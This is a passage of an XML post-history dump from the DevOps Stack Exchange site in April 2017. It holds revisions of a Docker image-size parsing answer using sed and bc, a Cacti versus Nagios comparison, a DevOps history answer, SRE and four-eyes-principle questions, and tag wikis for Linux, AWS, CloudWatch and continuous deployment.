&quot;s/MB//g&quot;&#xD;&#xA;    # =&gt; 90.6&#xD;&#xA;&#xD;&#xA;But, you probably **don't** want this for your bash script. Most shells don't support floating point comparisons, so inputting 90.6 would just fail. Instead, let's use `bc` to truncate the number first:&#xD;&#xA;&#xD;&#xA;    docker images --format &quot;{{.Size}}&quot; | sed &quot;s/MB/\/1/g&quot; | bc&#xD;&#xA;    # =&gt; 90&#xD;&#xA;&#xD;&#xA;Note that I've replaced the `MB` with a division by 1, which [truncates in `bc`](http://stackoverflow.com/questions/20558710/bc-truncate-floating-point-number).&#xD;&#xA;&#xD;&#xA;You can then pipe it into a shell script. I tested with this script:&#xD;&#xA;&#xD;&#xA;    VAR=$(cat)&#xD;&#xA;    &#xD;&#xA;    if [ VAR -gt &quot;250&quot; ]&#xD;&#xA;        then&#xD;&#xA;        echo &quot;Image too large&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Then run with:&#xD;&#xA;&#xD;&#xA;    docker images --format &quot;{{.Size}}&quot; | sed &quot;s/MB/\/1/g&quot; | bc | ./check_size.sh&#xD;&#xA;    # Exits with 0 (for my example)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2998" PostHistoryTypeId="2" PostId="905" RevisionGUID="6a90f846-26d5-4867-97f8-b6384231e7a2" CreationDate="2017-04-16T10:51:25.317" UserId="887" Text="I do not think that there is a single correct answer, I can suggest the following for your situation:&#xD;&#xA;&#xD;&#xA;**As a starting point** look at your current workflow, processes, and technologies being used at the company and then research some tools or techniques(writing your own scripts or programs) you can be using to automate things that are being done manually or not being done at all.&#xD;&#xA;&#xD;&#xA;I would also suggest maybe attending local DevOps meetups or talks in your area for more exposure.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2999" PostHistoryTypeId="5" PostId="905" RevisionGUID="3255ff26-6300-4e04-9e8e-d5e35e7a20a1" CreationDate="2017-04-16T11:11:15.730" UserId="887" Comment="deleted 2 characters in body" Text="I do not think that there is a single correct piece of advice for such a broad question, but here are my thoughts your situation:&#xD;&#xA;&#xD;&#xA;**As a starting point** look at your current workflow, processes, and technologies being used at the company and then research some tools or techniques(writing your own scripts or programs) you can be using to automate things that are being done manually or not being done at all.&#xD;&#xA;&#xD;&#xA;I would also suggest maybe attending local DevOps meetups or talks in your area for more exposure.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3000" PostHistoryTypeId="5" PostId="904" RevisionGUID="a1d359d5-a2a0-4736-9e1b-c68a5587b657" CreationDate="2017-04-16T12:35:20.243" UserId="14" Comment="added 1 character in body" Text="The output of `docker images` is really intended for humans, and it's not very parse-friendly. Instead, most Docker commands support a [`--format` flag using Go templates](https://docs.docker.com/engine/admin/formatting/). As you can see in the [`images` documentation](https://docs.docker.com/engine/reference/commandline/images/#format-the-output), you only really care about the `.Size` value, so you really want this:&#xD;&#xA;&#xD;&#xA;    docker images --format &quot;{{.Size}}&quot;&#xD;&#xA;&#xD;&#xA;This just gives an output like this:&#xD;&#xA;&#xD;&#xA;    90.6 MB&#xD;&#xA;&#xD;&#xA;If you have multiple images, they will each be on a separate line. I'm going to assume you will only ever have one line, because it vastly simplifies the next steps.&#xD;&#xA;&#xD;&#xA;To get rid of the `MB`, we can simply use `sed`:&#xD;&#xA;&#xD;&#xA;    docker images --format &quot;{{.Size}}&quot; | sed &quot;s/MB//g&quot;&#xD;&#xA;    # =&gt; 90.6&#xD;&#xA;&#xD;&#xA;But, you probably **don't** want this for your bash script. Most shells don't support floating point comparisons, so inputting 90.6 would just fail. Instead, let's use `bc` to truncate the number first:&#xD;&#xA;&#xD;&#xA;    docker images --format &quot;{{.Size}}&quot; | sed &quot;s/MB/\/1/g&quot; | bc&#xD;&#xA;    # =&gt; 90&#xD;&#xA;&#xD;&#xA;Note that I've replaced the `MB` with a division by 1, which [truncates in `bc`](http://stackoverflow.com/questions/20558710/bc-truncate-floating-point-number).&#xD;&#xA;&#xD;&#xA;You can then pipe it into a shell script. I tested with this script:&#xD;&#xA;&#xD;&#xA;    VAR=$(cat)&#xD;&#xA;    &#xD;&#xA;    if [ $VAR -gt &quot;250&quot; ]&#xD;&#xA;        then&#xD;&#xA;        echo &quot;Image too large&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Then run with:&#xD;&#xA;&#xD;&#xA;    docker images --format &quot;{{.Size}}&quot; | sed &quot;s/MB/\/1/g&quot; | bc | ./check_size.sh&#xD;&#xA;    # Exits with 0 (for my example)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3001" PostHistoryTypeId="2" PostId="906" RevisionGUID="29325b16-385e-43ba-b96c-1c26fbd19422" CreationDate="2017-04-16T12:38:13.580" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3002" PostHistoryTypeId="1" PostId="906" RevisionGUID="29325b16-385e-43ba-b96c-1c26fbd19422" CreationDate="2017-04-16T12:38:13.580" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3003" PostHistoryTypeId="2" PostId="907" RevisionGUID="b499f5bf-84ec-42bb-9e7c-b62f9d1f9b3e" CreationDate="2017-04-16T12:38:13.580" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3004" PostHistoryTypeId="1" PostId="907" RevisionGUID="b499f5bf-84ec-42bb-9e7c-b62f9d1f9b3e" CreationDate="2017-04-16T12:38:13.580" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3005" PostHistoryTypeId="2" PostId="908" RevisionGUID="322e7082-7128-45b9-9dac-725f229fe0e1" CreationDate="2017-04-16T12:49:36.600" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3006" PostHistoryTypeId="1" PostId="908" RevisionGUID="322e7082-7128-45b9-9dac-725f229fe0e1" CreationDate="2017-04-16T12:49:36.600" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3007" PostHistoryTypeId="2" PostId="909" RevisionGUID="52dbb13e-3819-45dd-98bf-2088473f9aed" CreationDate="2017-04-16T12:49:36.600" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3008" PostHistoryTypeId="1" PostId="909" RevisionGUID="52dbb13e-3819-45dd-98bf-2088473f9aed" CreationDate="2017-04-16T12:49:36.600" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3009" PostHistoryTypeId="5" PostId="909" RevisionGUID="9f8073f9-3b72-4f29-b32d-b11fb5d2dc30" CreationDate="2017-04-16T12:58:25.967" UserId="14" Comment="added 119 characters in body" Text="For questions about Slack, the chat and collaboration tool, and integrations with DevOps processes, culture and tools. " ContentLicense="CC BY-SA 3.0" />
  <row Id="3010" PostHistoryTypeId="24" PostId="909" RevisionGUID="9f8073f9-3b72-4f29-b32d-b11fb5d2dc30" CreationDate="2017-04-16T12:58:25.967" Comment="Proposed by 14 approved by 46 edit id of 269" ContentLicense="CC BY-SA 3.0" />
  <row Id="3011" PostHistoryTypeId="5" PostId="907" RevisionGUID="cc20fbe7-1bb0-4b99-aade-e5f4fb41f55d" CreationDate="2017-04-16T12:58:43.530" UserId="14" Comment="added 269 characters in body" Text="For questions about serverless computing (also known as Function as a Service, or FaaS). Use this tag for questions about terminology, practices and problems encountered while implementing serverless. Consider also using the specific provider tag, e.g. [amazon-lambda]." ContentLicense="CC BY-SA 3.0" />
  <row Id="3012" PostHistoryTypeId="24" PostId="907" RevisionGUID="cc20fbe7-1bb0-4b99-aade-e5f4fb41f55d" CreationDate="2017-04-16T12:58:43.530" Comment="Proposed by 14 approved by -1 edit id of 267" ContentLicense="CC BY-SA 3.0" />
  <row Id="3013" PostHistoryTypeId="5" PostId="907" RevisionGUID="f971058e-2abb-4ee2-a559-8d1be6663250" CreationDate="2017-04-16T12:58:43.530" UserId="46" Comment="deleted 3 characters in body" Text="For questions about serverless computing (also known as Function as a Service, or FaaS). Use this tag for questions about terminology, practices and problems encountered while implementing serverless. Consider also using the specific provider tag, e.g. [aws-lambda]." ContentLicense="CC BY-SA 3.0" />
  <row Id="3014" PostHistoryTypeId="5" PostId="583" RevisionGUID="f41978fa-57a6-4ad1-bdde-57c3173b8f06" CreationDate="2017-04-16T12:58:48.947" UserId="14" Comment="'softwares' does not seem grammatical; rephrase to clarify" Text="For questions about TeamCity, one of the most popular continuous integration tools." ContentLicense="CC BY-SA 3.0" />
  <row Id="3015" PostHistoryTypeId="24" PostId="583" RevisionGUID="f41978fa-57a6-4ad1-bdde-57c3173b8f06" CreationDate="2017-04-16T12:58:48.947" Comment="Proposed by 14 approved by 46 edit id of 268" ContentLicense="CC BY-SA 3.0" />
  <row Id="3017" PostHistoryTypeId="5" PostId="337" RevisionGUID="fe3253e4-9a92-45d2-b932-63cb536da14c" CreationDate="2017-04-16T14:00:52.733" UserId="14" Comment="Remove code formatting (backticks should be reserved for code only); correct quote" Text="Michael Grünewald recently posted [this comment][1]:&#xD;&#xA;&#xD;&#xA;&gt; A very important method you do not mention is the “four-eyes principle” which is used in the finance – either as a regulatory obligation or as a safe-guard. In the software industry it is implemented in various ways, as e.g. code reviews but also can be used to validate commands affecting live systems.&#xD;&#xA;&#xD;&#xA;Correct me if I'm wrong, but I was taught that the **&quot;four-eyes principle&quot;** is about something that is &quot;approved to happen&quot;, after at least 2 human beings (and/or automated processes) gave their prior blessing. Or to use the (slightly corrected) wording about the **&quot;two-(wo)man rule&quot;** from [Wikipedia][2]:&#xD;&#xA;&#xD;&#xA;&gt; The two-man rule is a control mechanism designed to achieve a high level of security for especially critical material or operations. Under this rule all access and actions requires the presence of two authorized people at all times.&#xD;&#xA;&#xD;&#xA;Regulatory obligations are, pretty sure, off topic here, but in the context of &quot;safe-guard&quot;, what are the possible conceptual implementations of this four-eyes principle, which probably could apply to any platform / OS / hardware being used?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/posts/311/timeline#comment_394&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Two-man_rule" ContentLicense="CC BY-SA 3.0" />
  <row Id="3018" PostHistoryTypeId="24" PostId="337" RevisionGUID="fe3253e4-9a92-45d2-b932-63cb536da14c" CreationDate="2017-04-16T14:00:52.733" Comment="Proposed by 14 approved by 40 edit id of 270" ContentLicense="CC BY-SA 3.0" />
  <row Id="3019" PostHistoryTypeId="2" PostId="910" RevisionGUID="f021bbda-f359-4472-b7d2-9c3a60dcc3e9" CreationDate="2017-04-16T14:43:30.543" UserId="739" Text="While [Romeo](https://devops.stackexchange.com/a/93/739) has laid out the basic facts I'd like to add a bit of experience to the answer:&#xD;&#xA;&#xD;&#xA;* **Basics** Cacti is focused on graphs.  It doesn't do any of the up/down monitoring that is provided by something like nagios.  Classically nagios does not provide any useful graphs, but more on that later.&#xD;&#xA;* **Config Scaling** Cacti tends to be configured through the GUI manually.  Eventually you will hopefully scale enough to find this frustrating.  I've switched to munin in places where there's lots of configuration management and it is easy to turn a server inventory into a config file with templates.  Nagios tends to be configured with config files so hopefully you script the translation of your inventory in that format too.  Then you can scale to thousands of nodes without redesigning your monitoring system.&#xD;&#xA;* **Distinctions blur.** The classic distinction between cacti/nagios of graphing vs up-down status has been blurred in a number of nagios derivatives.  Icinga and OMD, for instance, integrate graphing into a nagios-style monitoring architecture.&#xD;&#xA;* **Plugin Availability** Doing something in the nagios world gives you access to tons of well tested plugins to monitor almost anything under the sun.  Cacti also has plugins, but not nearly as many.&#xD;&#xA;&#xD;&#xA;So obviously my cacti experience hasn't been that great and I'd recommend you look elsewhere for your long-term graphing needs." ContentLicense="CC BY-SA 3.0" />
  <row Id="3020" PostHistoryTypeId="5" PostId="92" RevisionGUID="70066c22-7d18-4ca2-9388-2adab66adb6e" CreationDate="2017-04-16T14:57:42.393" UserId="739" Comment="copy editing" Text="So far I have been using the Nagios monitoring system.  However, I'm not familiar with Cacti. How does Cacti compare to Nagios?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3021" PostHistoryTypeId="4" PostId="92" RevisionGUID="70066c22-7d18-4ca2-9388-2adab66adb6e" CreationDate="2017-04-16T14:57:42.393" UserId="739" Comment="copy editing" Text="How does Cacti compare to Nagios?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3022" PostHistoryTypeId="24" PostId="92" RevisionGUID="70066c22-7d18-4ca2-9388-2adab66adb6e" CreationDate="2017-04-16T14:57:42.393" Comment="Proposed by 739 approved by 46 edit id of 271" ContentLicense="CC BY-SA 3.0" />
  <row Id="3023" PostHistoryTypeId="5" PostId="910" RevisionGUID="0378bd52-221b-41a2-82a6-412539efe46e" CreationDate="2017-04-16T15:54:34.073" UserId="14" Comment="Capitalisation" Text="While [Romeo](https://devops.stackexchange.com/a/93/739) has laid out the basic facts I'd like to add a bit of experience to the answer:&#xD;&#xA;&#xD;&#xA;* **Basics** Cacti is focused on graphs.  It doesn't do any of the up/down monitoring that is provided by something like Nagios.  Classically Nagios does not provide any useful graphs, but more on that later.&#xD;&#xA;* **Config Scaling** Cacti tends to be configured through the GUI manually.  Eventually you will hopefully scale enough to find this frustrating.  I've switched to Munin in places where there's lots of configuration management and it is easy to turn a server inventory into a config file with templates.  Nagios tends to be configured with config files so hopefully you script the translation of your inventory in that format too.  Then you can scale to thousands of nodes without redesigning your monitoring system.&#xD;&#xA;* **Distinctions blur.** The classic distinction between Cacti/Nagios of graphing vs up-down status has been blurred in a number of Nagios derivatives.  Icinga and OMD, for instance, integrate graphing into a Nagios-style monitoring architecture.&#xD;&#xA;* **Plugin Availability** Doing something in the Nagios world gives you access to tons of well tested plugins to monitor almost anything under the sun.  Cacti also has plugins, but not nearly as many.&#xD;&#xA;&#xD;&#xA;So obviously my Cacti experience hasn't been that great and I'd recommend you look elsewhere for your long-term graphing needs." ContentLicense="CC BY-SA 3.0" />
  <row Id="3024" PostHistoryTypeId="24" PostId="910" RevisionGUID="0378bd52-221b-41a2-82a6-412539efe46e" CreationDate="2017-04-16T15:54:34.073" Comment="Proposed by 14 approved by 40, 739 edit id of 272" ContentLicense="CC BY-SA 3.0" />
  <row Id="3025" PostHistoryTypeId="5" PostId="858" RevisionGUID="5c45fc8f-8f95-4369-9259-765a699101e4" CreationDate="2017-04-16T16:07:05.500" UserId="14" Comment="added 116 characters in body" Text="GNU/Linux is a UNIX-like Open Source operating system.  [Linus Torvalds][1] originally wrote the Linux kernel with contributions from others on the MINIX Usenet board.  Since then, Linux had thousands of developers, both paid by companies and volunteers.  The primary system tools and libraries sourced from [GNU Project][2], hence the nomenclature GNU/Linux (GNU Toolchain over Linux Kernel). The license for the Linux kernel the [GPL v2][3] license.&#xD;&#xA;&#xD;&#xA;There are many different [Linux Distributions][4] (sometimes shortened to *distro*), which consist of software applications packaged and provided with the Linux kernel, being [Slackware][5] the oldest active distro and [Debian][6], [Red Hat][7] and [CentOS][8] among the most used on Internet servers[¹][9].&#xD;&#xA;&#xD;&#xA;The Linux kernel is commonly run on servers but is highly portable and used in a variety of applications, from wireless routers and cell phones to clusters and supercomputers with thousands of nodes and processors.&#xD;&#xA;&#xD;&#xA;For generic Linux questions, consider asking at [Unix &amp; Linux Stack Exchange](https://unix.stackexchange.com/).&#xD;&#xA;&#xD;&#xA;##Further Reading:&#xD;&#xA; - [Wikipedia on Linux][10]&#xD;&#xA; - [Linux Tag on Server Fault][11] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Linus_Torvalds&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/GNU_Project&#xD;&#xA;  [3]: http://www.gnu.org/licenses/gpl-2.0.html&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Linux_distributions&#xD;&#xA;  [5]: http://www.slackware.com&#xD;&#xA;  [6]: http://debian.org&#xD;&#xA;  [7]: http://www.redhat.com&#xD;&#xA;  [8]: http://www.centos.org/&#xD;&#xA;  [9]: http://w3techs.com/technologies/history_details/os-linux/all/y&#xD;&#xA;  [10]: https://en.wikipedia.org/wiki/Linux&#xD;&#xA;  [11]: http://serverfault.com/questions/tagged/linux" ContentLicense="CC BY-SA 3.0" />
  <row Id="3026" PostHistoryTypeId="24" PostId="858" RevisionGUID="5c45fc8f-8f95-4369-9259-765a699101e4" CreationDate="2017-04-16T16:07:05.500" Comment="Proposed by 14 approved by 40, 397 edit id of 274" ContentLicense="CC BY-SA 3.0" />
  <row Id="3027" PostHistoryTypeId="5" PostId="249" RevisionGUID="bc005a10-1653-43fa-8746-2c1a0400d91a" CreationDate="2017-04-16T16:07:22.627" UserId="14" Comment="added 322 characters in body" Text="Amazon offers many different services, but the most popular (related to DevOps) are:&#xD;&#xA;&#xD;&#xA; - [tag:amazon-s3]  [Simple Storage Service](https://aws.amazon.com/s3/)&#xD;&#xA; - [tag:amazon-sqs] [Simple Queue Service](https://aws.amazon.com/sqs/)&#xD;&#xA; - [tag:amazon-ec2] [Elastic Compute Cloud](https://aws.amazon.com/ec2/)&#xD;&#xA; - [tag:amazon-ecs] [EC2 Container Service](https://aws.amazon.com/ecs/)&#xD;&#xA; - [tag:aws-lambda] [AWS Lambda](https://aws.amazon.com/lambda/)&#xD;&#xA; - Amazon CodePipeline&#xD;&#xA; - Amazon CodeBuild&#xD;&#xA; - [tag:aws-codedeploy] [AWS CodeDeploy](https://aws.amazon.com/codedeploy/)&#xD;&#xA; - [tag:amazon-cloudwatch] [Amazon CloudWatch](https://aws.amazon.com/cloudwatch/)&#xD;&#xA; - Amazon OpsWorks&#xD;&#xA; - Amazon CloudFormation&#xD;&#xA; - Amazon CloudTrail&#xD;&#xA; - [tag:amazon-cognito] [Amazon Cognito](https://aws.amazon.com/cognito/)&#xD;&#xA; &#xD;&#xA;## Usage&#xD;&#xA;&#xD;&#xA;Use this tag for questions about Amazon Web Services in general. For questions about a specific Amazon web service please try to use a more specific tag (if that's available). &#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3028" PostHistoryTypeId="24" PostId="249" RevisionGUID="bc005a10-1653-43fa-8746-2c1a0400d91a" CreationDate="2017-04-16T16:07:22.627" Comment="Proposed by 14 approved by 40, 397 edit id of 273" ContentLicense="CC BY-SA 3.0" />
  <row Id="3029" PostHistoryTypeId="2" PostId="911" RevisionGUID="0c0a0fda-5373-4ed0-a06d-ceedff3f34cd" CreationDate="2017-04-16T16:36:20.643" UserId="397" Text="&gt; &quot;SRE is what happens when you ask a software engineer to design an operations team.&quot; – [*Site Reliability Engineering*][4] &#xD;&#xA;&#xD;&#xA;Since [Google's Site Reliability Engineering Book][4] was released, on more than one occasion I have been told that SRE is an extension of the existing Operations or Application Support model.&#xD;&#xA;&#xD;&#xA;We've had a couple of questions that defined differences between Sys. Admins, DevOps Engineers and Site Reliability Engineers:&#xD;&#xA;&#xD;&#xA; - [What is the difference between Sysadmin and DevOps Engineer?][1]&#xD;&#xA; - [What is the difference between SRE and DevOps?][2]&#xD;&#xA; - [What could be a valid definition of DevOps to introduce it to a novice?][3]&#xD;&#xA;&#xD;&#xA;However none of these questions or their answers describe the **differences between a Systems Administrator and a Site Reliability Engineer**.&#xD;&#xA;&#xD;&#xA;In broader terms: what are the *key differences* between Google's practice of Site Reliability Engineering and the traditional separated Development and Operations functions within a business.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/q/157/397&#xD;&#xA;  [2]: https://devops.stackexchange.com/q/86/397&#xD;&#xA;  [3]: https://devops.stackexchange.com/q/788/397&#xD;&#xA;  [4]: https://www.amazon.co.uk/Site-Reliability-Engineering-Production-Systems/dp/149192912X" ContentLicense="CC BY-SA 3.0" />
  <row Id="3030" PostHistoryTypeId="1" PostId="911" RevisionGUID="0c0a0fda-5373-4ed0-a06d-ceedff3f34cd" CreationDate="2017-04-16T16:36:20.643" UserId="397" Text="What is the difference between the traditional Development and Operations Model and Site Reliability Engineering?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3031" PostHistoryTypeId="3" PostId="911" RevisionGUID="0c0a0fda-5373-4ed0-a06d-ceedff3f34cd" CreationDate="2017-04-16T16:36:20.643" UserId="397" Text="&lt;sre&gt;&lt;operating-model&gt;&lt;sysadmin&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3038" PostHistoryTypeId="2" PostId="913" RevisionGUID="4edbc24a-a1aa-4afe-aa66-f2f4dfd80b00" CreationDate="2017-04-16T19:28:44.597" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3039" PostHistoryTypeId="1" PostId="913" RevisionGUID="4edbc24a-a1aa-4afe-aa66-f2f4dfd80b00" CreationDate="2017-04-16T19:28:44.597" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3040" PostHistoryTypeId="2" PostId="914" RevisionGUID="526eff17-99f6-4ca6-8e2b-4af49bb566df" CreationDate="2017-04-16T19:28:44.597" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3041" PostHistoryTypeId="1" PostId="914" RevisionGUID="526eff17-99f6-4ca6-8e2b-4af49bb566df" CreationDate="2017-04-16T19:28:44.597" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3044" PostHistoryTypeId="2" PostId="915" RevisionGUID="4e8b359f-3eac-430a-bcb0-f46d16614833" CreationDate="2017-04-16T20:13:30.983" UserId="397" Text="## Short Version&#xD;&#xA;&#xD;&#xA;DevOps a combination of organisational culture, Agile/Lean ways of working and software automation that when applied to Systems Administration and Operations allows these functions to operate with the same level of Agility as Agile or Lean Development Teams.&#xD;&#xA;&#xD;&#xA;##Long Version&#xD;&#xA;&#xD;&#xA;The ideas behind DevOps came out of the Systems Administration, Operations and Agile communities, specifically, [Patrick Debois][1] gave a [presentation at Agile2008][2] entitled 'Agile Infrastructure' where he highlighted the disparity between the way the three functions within an organisation operate:&#xD;&#xA;&#xD;&#xA; 1. **Agile Development Teams** - Agile teams writing code.&#xD;&#xA; 2. **Systems Administrations Teams** - Building infrastructure to run the software.&#xD;&#xA; 3. **Operations Teams** - Supporting applications and infrastructure in Production/Live.&#xD;&#xA;&#xD;&#xA;Debois' proposal was to unify the three ways of working together, specifically moving Systems Administration teams and Operations teams from a [Waterfall Model][3] to an Agile Model.  To that end, Debois setup [DevOpsDays 2009 in Ghent, Belgium][4] inadvertently coining the phrase **DevOps**.&#xD;&#xA;&#xD;&#xA;The idea of DevOps resonated with the Authors of the VisibleOps series of books: Gene Kim, George Spafford and Kevin Behr; who went on to write [The Phoenix Project][5] and [The DevOps Handbook][6]. Both books explore how Agile and Lean can positively impact Systems Administration and Operations teams.&#xD;&#xA;&#xD;&#xA;  [1]: https://twitter.com/patrickdebois&#xD;&#xA;  [2]: http://www.jedi.be/presentations/agile-infrastructure-agile-2008.pdf&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Waterfall_model&#xD;&#xA;  [4]: https://legacy.devopsdays.org/events/2009-ghent/&#xD;&#xA;  [5]: https://www.amazon.co.uk/Phoenix-Project-DevOps-Helping-Business-ebook/dp/B00AZRBLHO&#xD;&#xA;  [6]: https://www.amazon.co.uk/DevOps-Handbook-World-Class-Reliability-Organizations-ebook/dp/B01M9ASFQ3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3046" PostHistoryTypeId="5" PostId="561" RevisionGUID="6ae03f62-5b94-481a-b262-612d585e14da" CreationDate="2017-04-16T22:17:05.143" UserId="397" Comment="Added Tag Wiki" Text="Use this tag for DevOps related questions about configuration, which is used to specify the desired settings of a system or application." ContentLicense="CC BY-SA 3.0" />
  <row Id="3047" PostHistoryTypeId="24" PostId="561" RevisionGUID="6ae03f62-5b94-481a-b262-612d585e14da" CreationDate="2017-04-16T22:17:05.143" Comment="Proposed by 397 approved by 40 edit id of 280" ContentLicense="CC BY-SA 3.0" />
  <row Id="3048" PostHistoryTypeId="2" PostId="916" RevisionGUID="c258acc6-4460-4596-954e-48285c8eaf6e" CreationDate="2017-04-17T00:49:46.740" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3049" PostHistoryTypeId="1" PostId="916" RevisionGUID="c258acc6-4460-4596-954e-48285c8eaf6e" CreationDate="2017-04-17T00:49:46.740" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3050" PostHistoryTypeId="2" PostId="917" RevisionGUID="5dc7cf43-2e75-4eb7-95bf-a4fb8e578557" CreationDate="2017-04-17T00:49:46.740" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3051" PostHistoryTypeId="1" PostId="917" RevisionGUID="5dc7cf43-2e75-4eb7-95bf-a4fb8e578557" CreationDate="2017-04-17T00:49:46.740" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3052" PostHistoryTypeId="5" PostId="913" RevisionGUID="baf672b9-9959-4eea-a0d1-fc57263bad1d" CreationDate="2017-04-17T02:13:24.660" UserId="397" Comment="added 1820 characters in body" Text="From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; Amazon CloudWatch is a web service that provides real-time monitoring to Amazon's EC2 customers on their resource utilisation such as CPU, disk and network. CloudWatch does not provide any memory, disk space, or load average metrics without running additional software on the instance. Amazon provides example scripts for Linux instances. The data is aggregated and provided through AWS management console. It can also be accessed through command line tools and Web API's if the customer desires to monitor their EC2 resources through their enterprise monitoring software.&#xD;&#xA;&#xD;&#xA;In addition to various built-in Amazon CloudWatch Metrics; developers can [publish custom metrics][2] to report on virtually any continuous dataset generated by the application.  Several commercial products are capable of ingesting CloudWatch data and displaying it alongside data about deployment, user behaviour, marketing campaigns and business performance indicators.&#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA; - Amazon CloudWatch User Guide: [eBook][3] or [web edition][4].&#xD;&#xA; - [PagerDuty: Amazon CloudWatch Integration Guide][5].&#xD;&#xA; - [PRTG Manual: Amazon CloudWatch][6].&#xD;&#xA; - [GOV.UK Digital Marketplace: Amazon CloudWatch][7]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Amazon_Elastic_Compute_Cloud#Amazon_CloudWatch&#xD;&#xA;  [2]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/publishingMetrics.html&#xD;&#xA;  [3]: https://www.amazon.co.uk/Amazon-CloudWatch-User-Guide-Services-ebook/dp/B007S1I894/&#xD;&#xA;  [4]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/WhatIsCloudWatch.html&#xD;&#xA;  [5]: https://www.pagerduty.com/docs/guides/aws-cloudwatch-integration-guide/&#xD;&#xA;  [6]: https://www.paessler.com/manuals/prtg/amazon_cloudwatch_sensor&#xD;&#xA;  [7]: https://www.digitalmarketplace.service.gov.uk/g-cloud/services/242696197300386" ContentLicense="CC BY-SA 3.0" />
  <row Id="3053" PostHistoryTypeId="24" PostId="913" RevisionGUID="baf672b9-9959-4eea-a0d1-fc57263bad1d" CreationDate="2017-04-17T02:13:24.660" Comment="Proposed by 397 approved by 40, 228 edit id of 275" ContentLicense="CC BY-SA 3.0" />
  <row Id="3054" PostHistoryTypeId="5" PostId="914" RevisionGUID="9c836fef-6e96-463a-bf38-cb6d8c43d4cd" CreationDate="2017-04-17T03:32:38.860" UserId="397" Comment="added 224 characters in body" Text="Amazon CloudWatch is a web service that provides real-time monitoring to Amazon's EC2 customers on their resource utilisation such as CPU, disk and network.  Use this tag to describe questions that discuss Amazon CloudWatch." ContentLicense="CC BY-SA 3.0" />
  <row Id="3055" PostHistoryTypeId="24" PostId="914" RevisionGUID="9c836fef-6e96-463a-bf38-cb6d8c43d4cd" CreationDate="2017-04-17T03:32:38.860" Comment="Proposed by 397 approved by 40, 46 edit id of 276" ContentLicense="CC BY-SA 3.0" />
  <row Id="3056" PostHistoryTypeId="5" PostId="496" RevisionGUID="79de339e-636b-42d2-9cf5-906f79147bf1" CreationDate="2017-04-17T03:32:45.140" UserId="397" Comment="Initial version" Text="Continuous Deployment is the act of automatically moving code into Production or Live.&#xD;&#xA;&#xD;&#xA;Use this tag for questions about automatically deploying software to a production environment as part of a CI pipeline. For questions about manual deployment to production use [tag:continuous-delivery].&#xD;&#xA;&#xD;&#xA;## Further Reading&#xD;&#xA;&#xD;&#xA; - [Martin Fowler's Continuous Delivery Article][1]&#xD;&#xA; - [Jez Humble and David Farley's Continuous Delivery Book][2]&#xD;&#xA; - [Continous Deployment Article on Agile Alliance][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/ContinuousDelivery.html&#xD;&#xA;  [2]: https://www.amazon.com/gp/product/0321601912&#xD;&#xA;  [3]: https://www.agilealliance.org/glossary/continuous-deployment/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3057" PostHistoryTypeId="24" PostId="496" RevisionGUID="79de339e-636b-42d2-9cf5-906f79147bf1" CreationDate="2017-04-17T03:32:45.140" Comment="Proposed by 397 approved by 40, 46 edit id of 281" ContentLicense="CC BY-SA 3.0" />
